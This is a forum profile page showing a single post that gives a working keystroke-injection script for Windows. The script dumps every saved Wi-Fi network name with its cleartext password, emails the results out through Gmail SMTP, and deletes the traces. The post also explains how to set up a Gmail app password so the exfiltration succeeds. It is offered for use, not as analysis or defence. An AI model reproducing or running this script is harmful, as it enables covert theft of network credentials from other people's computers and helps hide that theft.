Jump to content

BurntSushi

Members
  • Posts

    1
  • Joined

  • Last visited

BurntSushi's Achievements

Newbie

Newbie (1/14)

  1. Your script seems like there it has some flawed monkey business going on. I'm too lazy to figure out exactly what that is. However, This works: Note that you will want to create an Application password for Windows in Gmail so that can send email from Windows machines. A lot of people get hung up on this part. Go here and follow the instructions. https://support.google.com/accounts/answer/185833?hl=en Done correctly, Google will give you something like: hjsjdhuhfkjcjfhfqq Use this application in place of YOURPASSWORD Don't forget the quotes around 'YOURPASSWORD' Obviously, you'll most likely want to create a separate gmail account for serious monkey business as this script put the keys to your Gmail kingdom in clear text. -----SCRIPT---------- REM --> Adjust the delays up if your machines are slow. DELAY 4000 GUI d DELAY 1000 REM --> Open cmd WINDOWS r DELAY 1000 STRING cmd ENTER DELAY 1000 REM --> Get all SSID STRING cd %USERPROFILE% & netsh wlan show profiles | findstr "All" > a.txt ENTER REM --> Create a filter.bat to get all the profile names STRING echo setlocal enabledelayedexpansion^ ENTER ENTER STRING for /f "tokens=5*" %%i in (a.txt) do (^ ENTER ENTER STRING set val=%%i %%j^ ENTER ENTER STRING if "!val:~-1!" == " " set val=!val:~0,-1!^ ENTER ENTER STRING echo !val!^>^>b.txt) > filter.bat ENTER REM --> Run filter.bat and save all profile names in b.txt STRING filter.bat DELAY 300 ENTER REM --> Save all the good stuff in Log.txt and delete the other garbage files STRING (for /f "tokens=*" %i in (b.txt) do @echo SSID: %i & netsh wlan show profiles name="%i" key=clear | findstr /c:"Key Content" & echo.) > Log.txt ENTER DELAY 4000 STRING del a.txt b.txt filter.bat ENTER REM --> Mail Log.txt STRING powershell ENTER STRING $SMTPServer = 'smtp.gmail.com' ENTER STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587) ENTER STRING $SMTPInfo.EnableSsl = $true ENTER STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('YOUREMAIL@gmail.com', 'YOURPASSWORD'); ENTER STRING $ReportEmail = New-Object System.Net.Mail.MailMessage ENTER STRING $ReportEmail.From = 'EMAILFROM@gmail.com' ENTER STRING $ReportEmail.To.Add('EMAILTO@gmail.com') ENTER STRING $ReportEmail.Subject = 'WIFI Log from Machine' ENTER STRING $ReportEmail.Body = 'Attached is the WIFI Log' ENTER STRING $ReportEmail.Attachments.Add('Log.txt') ENTER STRING $SMTPInfo.Send($ReportEmail) ENTER DELAY 1000 STRING exit ENTER DELAY 1000 REM --> Delete Log.txt and exit STRING del Log.txt ENTER DELAY 1000 STRING exit ENTER DELAY 1000 STRING exit -----SCRIPT----------
×
×
  • Create New...